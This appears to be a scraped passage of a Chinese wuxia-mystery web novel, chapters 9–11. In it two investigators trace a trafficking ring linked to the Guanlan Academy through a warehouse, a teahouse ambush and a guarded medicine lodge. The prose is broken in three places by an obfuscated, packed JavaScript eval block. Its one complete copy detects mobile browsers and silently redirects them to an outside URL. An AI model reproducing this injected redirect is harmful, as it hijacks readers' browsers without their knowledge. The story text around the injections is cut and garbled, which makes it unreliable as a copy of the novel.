他说得有理，谢云辞无法反驳。他沉默地换上夜行衣，将匕首插在腰间，又检查了一遍袖箭——那是临行前陈岩送的，小巧精良，可连发三矢。 “走吧。”谢云辞推开窗，确认四下无人，率先跃出，轻巧落在街对面的屋顶上。江清砚紧随其后，动作虽不如谢云辞迅捷，但胜在轻巧无声，落地时只带起几片碎瓦。 两人在屋顶上疾行，借着月色和街巷的阴影，很快接近码头区。 越靠近码头，空气中的气味越复杂——河水的腥气、货物的霉味、还有码头小摊传来的食物香气，混杂在一起。但江清砚敏锐地嗅到了一丝异常:在丙字仓方向，飘来一股淡淡的、类似药材的苦涩味。 他在一处屋檐后停下，示意谢云辞。两人伏低身体，看向前方的丙字仓。 那是一座占地颇广的青砖仓库，墙高逾丈，只有一扇厚重的铁门，门上挂着一把大铜锁。仓库两侧是高墙，后墙紧邻废弃船坞，墙上爬满枯藤。整个仓库黑漆漆的，没有灯火，也无人声，静得像座坟墓。 但江清砚的目光，落在了仓库屋顶。 那里，有个人影。 很模糊，几乎与夜色融为一体，但借着月光，能看出那人影蹲在屋脊后，一动不动，像是在放哨。 谢云辞也看到了。他比了个手势，示意自己绕过去解决。江清砚却轻轻摇头，从怀中取出一个小皮囊，倒出些粉末在手心——那是曼陀罗花粉和醉鱼草粉的混合物，他出发前特意配的。 他捏起一撮，食指与拇指一捻，粉末化作细尘，顺着夜风飘向屋顶。 片刻后，那人影晃了晃，软软倒下。 “走。”江清砚低声道，两人如狸猫般滑下屋顶，悄无声息地落在丙字仓墙根下。 谢云辞检查了铁门上的铜锁——锁是新换的，但锁眼边缘有细微的磨损痕迹，显然近期频繁开合。他从袖中取出一根细铁丝，探入锁眼，屏息片刻，“咔哒”一声轻响，锁开了。 两人闪身入内，反手掩上门。 仓库里一片漆黑，只有几缕月光从高处的气窗透入，勉强照亮堆积如山的货箱。空气沉闷，弥漫着那股苦涩的药材味，还混着一丝……若有若无的血腥气。 江清砚点亮火折子，昏黄的光晕下，看清了仓库的全貌。 这里显然已废弃多时，地面积着厚厚的灰尘，墙角结满蛛网。但那些货箱却堆得整齐，箱盖上一尘不染，显然是近期才搬进来的。 他走到最近的一摞货箱前，箱盖上没有烙印，只贴着一张褪色的封条，上面写着模糊的字迹:“苏绣五十匹”。 江清砚撕开封条，撬开箱盖——里面根本不是苏绣，而是码放整齐的账簿，一本又一本，封面泛黄，墨迹陈旧。 他随手拿起一本翻开。这账簿记录的是漕运往来的明细:某年某月某日，某船载某货，从某地到某地，经手人是谁，抽成多少……字迹工整，条目清晰，是标准的官账。 但翻到后面几页，记录就变了。 不再是漕运，而是“特殊货物”:“文货几件，送往某处”，“武货几件，交接某人”，后面跟着银钱数目，还有简单的评价:“合格”、“需调教”、“废品”。 江清砚手指停在“废品”两个字上，指尖冰凉。 “废品”后面，有时会加注:“已处理”。 怎么处理？ 他没敢深想。 “这里。”谢云辞在仓库深处唤道。 江清砚走过去，见谢云辞站在一堵墙前。那墙看似普通，但谢云辞的手在墙砖上摸索片刻，轻轻一按——一块砖向内凹陷，发出“咔”的轻响。 墙壁悄无声息地滑开一道缝，仅容一人侧身通过。缝隙里透出微弱的光，还有……更浓的苦涩药味。 两人对视一眼，谢云辞率先侧身进入，江清砚紧随其后。 墙后是一条向下的石阶，很深，尽头有灯火。石阶两侧墙壁湿滑，长满青苔，空气阴冷潮湿，像是通往地底。 走了约莫三四十级，眼前豁然开朗。 那是一个巨大的地下空间，显然是利用废弃的船坞改造的。空间中央挖了个方池，池水浑浊，泛着诡异的暗绿色，水面漂浮着些不知名的草药残渣——苦涩味就是从这里散发出来的。 池边摆着几个大木桶，桶里泡着些布料，看颜色和质地，像是……官差的制服？只是颜色有些怪异，染得深浅不一。 而最触目惊心的，是空间另一侧。 那里立着十几个木架，每个木架上都绑着一个人形草偶，草偶穿着各式各样的衣服——书生袍、工匠短打、商贾锦缎，甚至还有女子的襦裙。草偶的脸上贴着粗糙的面具，面具画着不同的五官，有的清秀，有的粗犷，有的年轻，有的苍老。 像是……在练习易容？ 江清砚走到一个草偶前，伸手摸了摸那面具——质地柔韧，像某种特制的胶皮，边缘与草偶头部贴合得严丝合缝，若不细看，几可乱真。 而草偶身上穿的书生袍，袖口内侧绣着一个小小的标记:观澜。 观澜书院。 江清砚的手颤抖了一下。 “他们在这里……”他喃喃道，“训练那些被掳的人，教他们改口音，学礼仪，甚至……易容。然后换上特定身份的衣物，送进京城，送进书院，送进……” 送进那些达官显贵的府邸。 送进科举考场。 送进未来的官场。 谢云辞走到池边，俯身查看那些泡着的布料。他用匕首挑起一块，在灯下细看——布料是官差的褐色劲装，但颜色染得不对，真正的官差服色更深，更沉稳。 “他们在仿制官服。”谢云辞声音冰冷，“但火候不够，染坏了。” 江清砚走过来，接过布料，凑近闻了闻:“用的是廉价的靛蓝和茜草，难怪色不正。”他顿了顿，“他们在练习。练习如何伪造身份，如何混入各个阶层。” 他环视这个地下空间，寒意从脚底升起。 这不仅仅是一个转运点，这是一个“培训基地”。水鬼帮掳来人，在这里进行初步的“加工”:改掉口音，学会基本礼仪，甚至练习易容。合格了，才送出去进行下一步的“深造”。 而那些“废品”…… 江清砚的目光投向空间最深处。那里有一扇锈蚀的铁门，门上挂着一把沉重的大锁。 他走过去，谢云辞紧跟在后。铁门很厚，门缝里透出一股难以形容的腐臭味，像是肉类腐烂混合着药味，令人作呕。 谢云辞用铁丝开锁，这次费了些功夫。锁开后，他用力推开铁门—— 门内是个狭窄的石室，没有窗，只有一盏油灯在墙角摇曳。石室里空空荡荡，只在正中央摆着一张石台。 石台上，躺着一具尸体。 不，不止一具。石台下的阴影里，还堆着几具，都用麻袋草草裹着，露出腐烂的手脚。 江清砚捂住口鼻，强忍着呕吐的冲动，走近石台。台上的尸体是个年轻男子，面容已开始腐烂，但能看出生前清秀。他赤裸着上身，胸口有一道狰狞的伤口，从锁骨直划到下腹，皮肉外翻，露出森森白骨。 而最诡异的是，伤口边缘的皮肉上，布满了细密的针脚——像是被人剖开后，又仔细缝合过。 “他们在……练习解剖。”江清砚声音发颤，“或者说，练习……外科手术？” 谢云辞走到石台边，俯身细看。他伸手，轻轻拨开尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯笼的光照亮仓库，也照亮了他们的脸——都是精壮的汉子，眼神凶狠，腰间佩刀。为首的是个疤脸大汉，一进门就皱眉:“什么味儿？谁又乱动药了？” “老大，可能是地下室飘上来的。”一人答道，“要不要下去看看？” 疤脸大汉摆摆手:“算了，赶紧搬东西。上头说了，蓟州这边不能再留痕迹。今晚搬完，明天一把火烧了这里。” 几人走向仓库深处，开始搬运那些货箱。箱子很沉，两人抬一个都吃力，里面装的显然不只是账簿。 江清砚和谢云辞屏住呼吸，藏在货箱的阴影里。货箱逐渐被搬空，他们的藏身处眼看就要暴露。 谢云辞握紧匕首，对江清砚使了个眼色——准备动手。 就在这时，仓库外忽然传来尖锐的哨声！ “有情况！”疤脸大汉厉喝，“抄家伙！” 黑衣人们立刻丢下货箱，拔出刀，冲出仓库。外面传来打斗声、呼喝声，还有兵刃交击的脆响！ 江清砚和谢云辞对视一眼，悄悄探出头。只见院子里，陈岩带着十几个衙役，正与黑衣人战在一处！刀光剑影，杀声震天！ “是陈捕头！”江清砚低声道。 谢云辞点头:“他是不放心，跟来了。”他看了看战局，“趁乱，走！” 两人趁着夜色和混乱，从仓库侧面的阴影溜出，几个起落翻上墙头，消失在黑暗的街巷中。 身后，丙字仓的打斗声渐渐远去。 回到客栈，关上房门，江清砚才松了口气，靠着墙缓缓滑坐在地，脸色苍白如纸。这一夜的惊险，已耗尽了他本就所剩无几的体力。 谢云辞倒了碗水递给他，又取出心疾药丸。江清砚含了药，闭目调息片刻，呼吸才渐渐平稳。 “那布料……”谢云辞看向他怀中。 江清砚取出那块从草偶身上撕下的衣角，在灯下展开。“观澜”二字，清晰刺目。 “明日一早，我们启程进京。”他轻声道，“这些线索，必须送到刑部。观澜书院……必须查。” 谢云辞看着他苍白却坚定的脸，点了点头。 窗外，远处码头的打斗声已平息。夜空中，一轮冷月高悬，照着这座看似平静、实则暗流汹涌的小镇。 而前路，还有更深的黑暗在等待。 10. 第 10 章 第十章毒医显威 天未亮，客栈后院的马厩里传来低低的嘶鸣。 江清砚系紧行囊，将最后几瓶药塞进怀里，转身时脚下一个踉跄。谢云辞伸手扶住他胳膊，触手一片冰凉——这是心疾发作的前兆。 “还能撑吗？”谢云辞皱眉问。 “能。”江清砚稳住身形，从怀中摸出玉瓶，倒出一粒赤色药丸含下。片刻后，脸上才恢复些许血色，“必须在官府封锁码头前离开清河镇。陈捕头昨夜闹出那么大动静，今日必有大队官差搜查，我们留下反而说不清。” 谢云辞点头，牵过马匹。两人悄无声息地出了客栈后门，沿着背街小巷，朝镇北方向疾行。 晨雾浓重，青石板路上湿漉漉的，马蹄踏过只发出沉闷的“嘚嘚”声。街道两侧的店铺还未开门，只有几处早点摊子升起袅袅炊烟，摊主揉着惺忪睡眼，看着这两个黎明策马而过的身影，嘟囔了句“赶着投胎”。 出镇北门时，守门的兵丁还在打哈欠，瞥了眼谢云辞递上的蓟州官府通行文书，懒洋洋地挥手放行。马匹冲出城门，踏上北去的官道。 天色渐明，晨雾散了些，露出道旁萧瑟的初春景色。官道上已有零星车马，多是赶早路的商贩。江清砚勒马缓行，让过一队满载货物的牛车，目光却始终留意着后方——没有追兵，至少目前没有。 行出约莫十里，前方出现一处茶棚，茅草搭的简陋棚子，门口挑着面褪色的“茶”字旗。棚子里坐着三两个歇脚的旅人，正就着热茶啃干粮。 “歇会儿。”谢云辞道，他已注意到江清砚握缰的手在微微发抖。 两人下马，将马拴在棚外的木桩上。茶棚老板是个干瘦的老头，端上两碗粗茶，又切了一碟咸菜。茶水浑浊，但热气腾腾，喝下去总算驱散了些寒意。 江清砚小口啜着茶，目光扫过棚内——除了他们，还有三个旅人:一个背着药箱的走方郎中，一个挑着担子的货郎，还有个戴斗笠的汉子，独自坐在角落，面前摆着碗茶，却一口未动。 那汉子身形魁梧，虽穿着普通布衣，但坐姿笔挺，双手放在桌上，虎口处有厚茧——是常年握刀留下的。斗笠压得很低，看不清脸，但江清砚能感觉到，对方的目光正透过笠沿，落在他们身上。 不，是落在谢云辞身上。 他不动声色地用脚尖碰了碰谢云辞。后者会意，端起茶碗的手微微一顿，随即若无其事地继续喝茶，但身体已进入戒备状态。 走方郎中喝完茶，背起药箱走了。货郎也挑起担子，晃晃悠悠地上了官道。茶棚里只剩下他们和那个戴斗笠的汉子。 空气忽然变得粘稠。 棚外的风吹得“茶”字旗哗啦作响，远处传来几声乌鸦的啼叫，凄厉刺耳。 谢云辞放下茶碗，碗底与木桌磕碰，发出清脆的一声“嗒”。 几乎同时，戴斗笠的汉子动了。 他身形如猎豹般暴起，斗笠飞起，露出一张满是刀疤的脸，眼神凶戾如狼。手中不知何时已多了一柄短刀，刀光如电，直刺谢云辞咽喉！ 太快了！ 但谢云辞更快。 在刀光及体的前一瞬，他整个人向后仰倒，连人带凳翻倒在地，险险避过刀锋。同时右脚踢出，正中汉子手腕！ “当啷”一声，短刀脱手飞出，插在棚柱上，刀柄兀自震颤。 汉子闷哼一声，却不退反进，左手成爪，抓向谢云辞面门！这一抓势大力沉，指风凌厉，竟带着破空之声！ 谢云辞就地一滚，避开这一抓，翻身站起时匕首已出鞘。两人在狭窄的茶棚内过招，拳脚相交，金铁交鸣，眨眼间已交手十余招。 江清砚退到棚边，手已摸向怀中——那里有淬毒的钢针。但他没有立刻出手，因为就在谢云辞与汉子缠斗时，茶棚外又出现了三个人。 三个黑衣蒙面人，手持长刀，呈品字形封住了茶棚出口。 不是巧合。 这是埋伏。 江清砚的心沉了下去。对方显然早有准备，甚至算准了他们会在茶棚歇脚。 “谢云辞！”为首的黑衣人嘶声喝道，“交出账本，饶你不死！” 谢云辞一脚踢开汉子的擒拿，冷笑道:“想要账本？自己来拿。” 话音未落，三个黑衣人同时扑入棚内！刀光交织成网，封死了所有退路！ 茶棚老板早已吓得缩在灶台后，瑟瑟发抖。江清砚背靠棚柱，手指扣住三枚钢针，却迟迟没有射出——对方四人配合默契，攻势如潮，他贸然出手，很可能误伤谢云辞。 谢云辞以一敌四，虽不落下风，但渐渐被逼到棚角。茶棚空间狭小，他的匕首在长刀围攻下渐显局促。忽然，一个黑衣人虚晃一刀，另一人趁机从侧翼突进，刀锋直取谢云辞肋下！ 避无可避！ 就在这千钧一发之际，江清砚动了。 他没有射钢针，反而从怀中掏出一个小瓷瓶，用力砸向地面！ 瓷瓶碎裂，一股淡紫色的烟雾“噗”地爆开，迅速弥漫整个茶棚！烟雾带着刺鼻的辛辣味，吸入鼻腔的瞬间，四个黑衣人同时感到双眼刺痛，涕泪横流！ “闭气！”那疤脸汉子厉喝，急急后退。 但已经晚了。 江清砚等的就是这个时机。他屏住呼吸，手指连弹，四枚钢针破空而出，精准地射入四个黑衣人的肩井穴！ 针上淬的是加强版的“松筋散”，中针者瞬间四肢麻痹，握不住刀，“哐当”声接连响起，四柄长刀落地。 谢云辞抓住机会，匕首连闪，四人手腕俱被划开一道口子，虽不深，但足够让他们暂时失去战力。 疤脸汉子反应最快，钢针入体的瞬间，他已运功逼毒，竟硬生生稳住身形，反手一掌拍向江清砚！ 这一掌势若奔雷，若是拍实了，以江清砚的体魄，不死也残！ 谢云辞目眦欲裂，想扑过去已来不及。 江清砚却异常平静。他不闪不避，反而迎着掌风，从袖中甩出一物——那是个巴掌大的皮囊，囊口敞开，一片白色粉末迎面洒向疤脸汉子！ 汉子本能闭眼挥袖格挡，却还是吸入了一些。粉末入鼻的瞬间，他脸色骤变:“石灰？！” 不，不只是石灰。石灰里混了曼陀罗花粉和醉鱼草粉，还有……某种刺鼻的辛辣粉末。 汉子的眼睛瞬间红肿如桃，视线模糊，呼吸也困难起来。他踉跄后退，嘶声吼道:“你……你用毒！” 江清砚退后两步，靠住棚柱，脸色苍白，额角冷汗涔涔，却仍平静地说:“不是毒。是石灰混合辣椒粉，再加了些许麻痹药物。洗洗就好，死不了人。” 他顿了顿，轻声道:“但若继续运功，药力随气血运行加快，麻痹效果会倍增。阁下还是……别动为好。” 疤脸汉子死死瞪着他，眼睛红得滴血，却真的不敢再动。他能感觉到，四肢的麻痹感正在蔓延，若强行运功，恐怕真要瘫在这里。 茶棚里一时死寂。 四个黑衣人瘫倒在地，动弹不得。疤脸汉子靠着棚柱，强撑着不让自己倒下。谢云辞持匕戒备，目光如刀。 江清砚从怀中又取出一个小瓶，倒出些淡绿色的药膏，抹在自己和谢云辞的鼻子下方——那是解药，能抵御烟雾的刺激。 “你们是谁派来的？”谢云辞冷声问疤脸汉子。 汉子咬紧牙关，不说话。 “不说也无妨。”江清砚走上前，蹲下身，开始检查那四个黑衣人的衣领袖口、鞋底纹路，甚至翻看他们的手掌。 他的动作很仔细，像是在做学问。片刻后，他站起身，看向疤脸汉子:“你们不是水鬼帮的人。” 汉子瞳孔微缩。 “水鬼帮的人，虎口和食指的茧子分布，因常年用船篙、拉纤，与用刀的人不同。”江清砚缓缓道，“而且，你们靴底的泥，是北地特有的红粘土。蓟州码头一带是黑土，你们……从北边来。” 他顿了顿，声音更轻: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江清砚摇头:“只是以防万一。”他望向北方，目光悠远，“从老君洞出来，我就知道，这趟进京不会太平。水鬼帮的案子牵扯太大，有人不想让账本到京城。” 他顿了顿，声音更轻:“刚才那些人，训练有素，配合默契，不是江湖草莽。恐怕……真如我们所料，牵扯到官面上的人物了。” 谢云辞沉默片刻，忽然道:“你的身体……还能撑多久？” 这话问得直接，江清砚却笑了。那笑意很淡，却莫名有些苍凉。 “到京城，够了。”他说，“到了京城，把账本交出去，我的事就了了。至于之后……” 他没说下去，但谢云辞明白。 之后是生是死，是福是祸，谁也不知道。 “你不会死。”谢云辞忽然说，声音很沉，“我答应过护你周全，就一定会做到。” 江清砚看着他，许久，轻轻点了点头。 “我信。” 两匹马并辔而行，蹄声嘚嘚，踏碎了官道上的寂静。晨雾散尽，朝阳升起，将两人的影子长长地投在黄土路上。 前方还有三百里路，还有数不清的凶险。 但这一刻，至少他们不是独行。 江清砚从怀中取出水囊，喝了一口，又摸出药丸含下。苦涩的药味在口中化开，他却忽然想起昨夜在丙字仓地下看到的那些药瓶，那些尸体，那些草偶…… 观澜书院。 那两个字像针，扎在他心头。 若真如他所料，京城那个以清流自诩的书院，竟是这桩惊天大案的终点…… 那这科举，这官场，这天下，还有多少不为人知的黑暗？ 他不敢深想，却又不得不想。 因为前方，就是京城了。 而有些真相，必须有人去揭开。 哪怕代价是粉身碎骨。 “驾！” 马鞭扬起，马蹄加快。 官道在眼前延伸，仿佛没有尽头。 11. 第 11 章 第十一章顺藤摸瓜 黄昏时分，官道分岔。一边是宽阔平整的驿道，直通京城南门；另一边是狭窄的土路，蜿蜒没入一片丘陵林地，路牌上模糊地写着“鹿鸣坡”。 谢云辞勒住马，看向江清砚。 “走小路。”江清砚没有犹豫，指着土路，“追踪香的气味往这边去了。” 从茶棚离开后，他们并未全速赶往京城，而是不紧不慢地缀在那伙黑衣人后方。江清砚隔一段时间就下马，俯身查看地面、草丛，偶尔捏起一撮土在鼻尖轻嗅——追踪香的气味虽淡，却逃不过他刻意训练过的嗅觉。 谢云辞看着他将马牵上土路，忍不住道:“你真要追过去？” “不入虎穴，焉得虎子。”江清砚翻身上马，回头看他，“茶棚那伙人知道账本的事，且是京城口音。若能找到他们的落脚点，或许能顺藤摸瓜，揪出背后的主使。” “太危险。”谢云辞皱眉，“你的身体……” “正是因为危险，才更要去。”江清砚轻声道，“若等我们进了京城，他们藏在暗处，我们在明处，那才是真正的危险。” 他顿了顿，目光投向土路深处:“况且……陈捕头他们清剿老君洞的消息，恐怕已经传到京城了。幕后之人此刻必然慌乱，正是抓破绽的时候。” 谢云辞沉默了。他知道江清砚说得对，可看着那张苍白得近乎透明的脸，心头那股异样的感觉又翻涌上来。 这个书生，对自己太狠了。 “走吧。”他终究还是调转马头，跟了上去，“跟紧我，别逞强。” 土路难行，坑洼不平，两旁的树木越来越密，遮天蔽日。越往里走，人烟越稀，偶尔能看到几处废弃的窝棚，门前荒草丛生，显然久无人居。 江清砚忽然勒马停下。 “气味到这里……散了。”他下马，蹲在路中央，手指轻触地面。那里有几道凌乱的车辙印，还有杂沓的马蹄印，显然是多人多马在此停留过。 他沿着车辙走向路旁，拨开一丛半人高的蒿草——后面竟是一条隐蔽的小径，仅容一车通过，蜿蜒伸向山坡背面。 “他们换车了。”江清砚站起身，拍了拍手上的土，“追踪香的气味在马车上，所以他们弃马换车，从这里走了。” 谢云辞走到小径入口，仔细看了看车辙的深浅和宽度:“是轻便的马车，载重不大，但车轮很新，是京城车行常用的制式。” 两人对视一眼，都看到了对方眼中的凝重。 能随时调动马车接应，且车辙通往隐蔽小径——这不是临时起意的逃亡，而是有预谋、有组织的撤退。 “继续追？”谢云辞问。 江清砚点头，却从怀中取出一个小布包，递给谢云辞:“把这个撒在马蹄上。” 谢云辞打开布包，里面是些淡黄色的粉末，气味刺鼻:“这是什么？” “马匹讨厌的味道，能掩盖我们的气味。”江清砚翻身上马，“以防他们有猎犬。” 两人牵着马走进小径。小径极窄，两侧树木枝杈横生，不时刮擦衣袍。走了约莫一炷香时间，前方豁然开朗——是一片不大的谷地，谷地中央有座破败的山神庙，庙前停着一辆轻便马车，马已卸下，拴在庙旁的老槐树上。 庙门虚掩，里面没有灯火，也没有人声。 谢云辞按住江清砚，自己悄无声息地靠近庙门，侧耳倾听片刻，轻轻推开一条缝。 庙里空空荡荡，山神像倒在地上，碎成几块。地上有凌乱的脚印，还有……几滩暗红色的血迹，尚未完全干涸。 “人走了。”谢云辞低声道，“但走得很仓促，有伤者。” 江清砚走进来，蹲下查看那些血迹。血迹分布散乱，有滴落的，有拖曳的，还有喷溅状的。他从袖中取出银针，沾了点血，凑近鼻尖嗅了嗅。 “是茶棚那伙人。”他轻声道，“血里有追踪香的气味。” 他站起身，环视庙内。除了血迹和脚印，没有其他线索。但当他走到墙角时，脚下忽然踩到了什么硬物。 是一块碎瓷片。 不是普通的碗碟，而是上好的青瓷，釉色温润，边缘有金线勾勒的缠枝莲纹——这是官窑的制式，寻常人家用不起。 江清砚捡起瓷片，对着窗外透进的最后一点天光细看。瓷片背面，有个极小的印记，像是烧制时留下的。 他取出火折子点亮，凑近细看。 那印记……是一朵莲花。 莲花印记。 江清砚的手猛地一颤。 他记得这个印记。三年前，在润州，他曾在一个人的随身玉佩上见过——那人当时途经润州，是京城来的官员，说是督查漕运，却在暗地里查访一桩旧案。 那人姓周，叫什么名字他已记不清，只记得那人腰间玉佩上的莲花印记，与眼前这块瓷片上的一模一样。 而那位周大人，后来……据说在回京途中遇匪身亡，尸骨无存。 “你认识这个印记？”谢云辞察觉他神色有异。 江清砚沉默良久，才轻声道:“三年前，有个京城来的官员死在回京路上，身上就带着有这个印记的东西。” “什么官？” “好像是……都水司的郎中。”江清砚缓缓道，“负责漕运稽查。” 都水司。 水运司裁撤后，接管漕运的衙门。 谢云辞眼神骤冷:“所以，水鬼帮的案子，都水司可能也牵扯其中？” “不止。”江清砚将瓷片小心收起，“那位周大人当年查的，就是漕运上的蹊跷。他死后不久，水鬼帮就开始活跃。” 太多巧合了。 庙外忽然传来乌鸦的啼叫，凄厉刺耳。天色彻底暗下来，谷地里一片漆黑，只有山风吹过树梢的呜咽声。 “此地不宜久留。”谢云辞拉起江清砚，“先离开。” 两人退出山神庙，牵马往回走。小径上漆黑如墨，只能借着微弱的月光辨认道路。走到一半时，江清砚忽然停住脚步。 “等等。”他低声道。 “怎么？” “有声音。” 谢云辞屏息细听——除了风声，似乎确实有隐约的……车轮声？还有马蹄声？从谷地另一个方向传来，越来越近。 “不止一辆车。”谢云辞脸色微变，“快躲起来！” 两人拉着马匹，迅速躲进路旁的密林。刚藏好，就见一队车马从山神庙方向驶来——三辆马车，都是黑漆车篷，没有挂灯笼，在夜色中像幽灵般悄然滑行。 每辆马车都配有双马，车夫戴着斗笠，看不清脸。马车驶过他们藏身的树林时，江清砚闻到了一股熟悉的气味。 药味。 浓烈的、苦涩的药材味，和他之前在丙字仓闻到的如出一辙。 他心中一动，从怀中取出一个小瓷瓶，倒出些粉末在手心，迎风一扬——那是他特制的显踪粉，遇药味会变成淡蓝色。 粉末飘散，在马车经过的路径上，果然泛起星星点点的蓝光。 “他们在运药。”江清砚压低声音，“大量的药。” 谢云辞盯着那三辆马车，手按在腰间匕首上:“跟上去看看？” 江清砚犹豫了一瞬，点头:“小心些，别靠太近。” 两人牵着马，远远跟在马车队后面。马车队走得不快，似乎对这条路很熟悉，七拐八绕，竟出了谷地，上了另一条更隐蔽的小路。 这条小路更难走，几乎是贴着山壁开凿出来的，一侧是峭壁，另一侧是深涧。月光下，涧水泛着惨白的光，深不见底。 马车队在这样的险路上依然平稳前行，显然车夫都是老手。 走了约莫半个时辰，前方出现亮光。 那是一座建在山坳里的庄园，占地不小，围墙高耸，隐约能看到里面的楼阁轮廓。庄园大门紧闭，门上挂着两盏白纸灯笼，灯笼上写着两个字: 药庐。 马车队在大门前停下。一个车夫上前叩门，三长两短。门开了一道缝，里面有人低声交谈了几句，随即大门缓缓打开，马车鱼贯而入。 江清砚和谢云辞藏在一块巨石后，远远看着庄园。借着灯笼的光，能看到庄园门楣上挂着一块匾额，但离得太远，看不清字。 “药庐……”江清砚喃喃道，“蓟州地界，什么时候有这么一座庄园？” 谢云辞摇头:“看规制，不像普通药商的山庄。围墙太高，守卫太严。” 正说着，庄园侧门忽然打开，几个人抬着几个大木箱出来，装上一辆早已等候在那里的板车。木箱很沉，抬箱的人脚步沉重。 板车装好后，迅速驶离庄园，消失在另一条小路上。 “他们在转移东西。”谢云辞低声道，“恐怕是察觉了什么。” 江清砚盯着庄园大门，许久，忽然道:“你在这里等我。” “你要做什么？” “进去看看。” 谢云辞一把拉住他:“你疯了？里面什么情况都不知道！” “所以才要进去看。”江清砚挣脱他的手，神色异常平静，“这座庄园建在这种地方，守卫森严，还深夜运药……绝不只是药商的山庄。若它与水鬼帮有关，里面必有线索。” “我跟你一起去。” “不。”江清砚摇头，“你留下接应。若我半个时辰没出来，你就走，去京城报信。” 他说得斩钉截铁，谢云辞却听出了话里的决绝——这个书生，早就做好了回不去的准备。 “江清砚。”谢云辞第一次连名带姓叫他，“你的命是我救的，没有我的允许，你不准死。” 江清砚怔了怔，随即笑了。那笑意很浅，在月光下却格外清晰。 “好。”他说，“我一定活着出来。” 他从怀中取出几个小瓶，一一系在腰间，又检查了一遍袖中的钢针和毒粉。最后，他从靴筒里抽出一把短匕——那是谢云辞给他的，刀身只有三寸，却锋利异常。 “等我。” 话音未落，他已如狸猫般滑下山坡，借着夜色和草木的掩护，悄无声息地靠近庄园围墙。 谢云辞看着他清瘦的背影消失在黑暗中，握紧了手中的匕首。 他从未如此紧张过— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863487|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —哪怕是刀头舐血的那些年，哪怕是面对生死关头。 这个认识不到十日的书生，不知何时，已在他心里占了一块地方。 一块连他自己都未曾察觉的、柔软的地方。 庄园围墙下，江清砚仰头看了看墙高——约莫两丈，砖缝密实，不好攀爬。但他早有准备，从腰间取出一捆细绳，绳头系着个三爪钩。 他将钩子甩上墙头，试了试牢固程度，随即借力上攀。动作虽不如谢云辞那般矫健，却也轻盈敏捷，几个呼吸间已翻上墙头，伏身观察院内。 庄园里灯火稀疏，只有几处楼阁亮着光。院子里堆着许多晾晒药材的木架，空气中弥漫着浓重的药味。几个仆役打扮的人在院子里走动，手里提着灯笼，似乎在巡查。 江清砚观察片刻，看准一处阴影，滑下墙头，落地无声。 他贴着墙根，迅速靠近最近的一处亮灯的建筑——那是一座两层的小楼，窗纸透出昏黄的光，隐约有人影晃动。 他绕到楼后，见二楼窗户虚掩着，便攀着外墙的砖缝，悄无声息地爬上去，从窗缝向里望去。 屋里是个书房，布置简朴，只有一桌一椅，两个书柜。桌边坐着个中年文士，正就着油灯翻阅一本账簿。文士面容清癯，穿着半旧的青衫，看起来像个教书先生。 但江清砚的目光，落在了他手中的账簿上。 那账簿的封皮，和他在丙字仓看到的，一模一样。 文士翻着账簿，眉头紧皱，偶尔提笔在上面勾画。忽然，他停下笔，抬头看向门口:“进来。” 门被推开，一个管事模样的人躬身进来:“先生，药都装车送走了。老君洞那边的货……也处理干净了。” 文士点点头，沉吟片刻:“京城那边有什么消息？” “陈捕头把账本的事报上去了，但……谢云辞和那个书生还没到京城。”管事压低声音，“茶棚那边失手了，疤脸他们受了伤，暂时藏起来了。” 文士脸色一沉:“废物！连两个人都拿不下！” “那个书生……不简单。”管事声音发颤，“会用毒，会使机关，疤脸他们栽在他手里了。” 文士沉默良久，忽然冷笑一声:“一个病秧子，能翻起多大浪？传令下去，在他们进京前，必须截住！账本绝不能到刑部！” “是。”管事应声，却又犹豫道，“可是先生……观澜书院那边催得紧，要我们月底前再送一批‘文货’过去。老君洞被端了，货源……” “货源的事我来想办法。”文士摆摆手，“你先去安排截杀的事。记住，要做得干净，像意外。” 管事躬身退下。文士重新拿起账簿，却已无心再看，起身在房中踱步，神色焦躁。 窗外的江清砚屏住呼吸，心脏狂跳。 观澜书院……果然牵扯其中！ 他正想再听听，楼下忽然传来脚步声，还有仆役的惊呼:“有贼！墙上有人！” 糟了！ 江清砚心头一凛，立刻松手，从二楼一跃而下！落地时一个翻滚卸去力道，却不料牵动了心疾，胸口一阵剧痛，眼前发黑。 “在那边！”几个护院提着棍棒冲过来。 江清砚强撑起身，朝着来时方向狂奔。身后脚步声越来越近，呼喝声四起，整个庄园的灯火都亮了起来！ 他跑到围墙下，正要甩出钩索，忽然一道黑影从墙头跃下，一把抓住他的手腕！ “走！” 是谢云辞！ 谢云辞拉着他，几步助跑，竟直接带着他翻上墙头！两人落在墙外，撒腿就跑！ 身后传来开门声、马蹄声，庄园的护院骑马追出来了！ “上马！”谢云辞吹了声口哨，两匹马从树林中奔出。两人翻身上马，纵马狂奔！ 夜色中，马蹄如雷，惊起林间宿鸟。 身后追兵紧追不舍，箭矢破空之声不绝于耳！ 江清砚伏在马背上，胸口剧痛如绞，眼前阵阵发黑。但他死死咬住嘴唇，不让自己晕过去。 不能在这里倒下。 京城还没到，账本还没交，真相还没揭开…… 他不能倒在这里！ “坚持住！”谢云辞的声音在耳边响起，带着他从未听过的焦灼，“前面有岔路，我们分开走！” 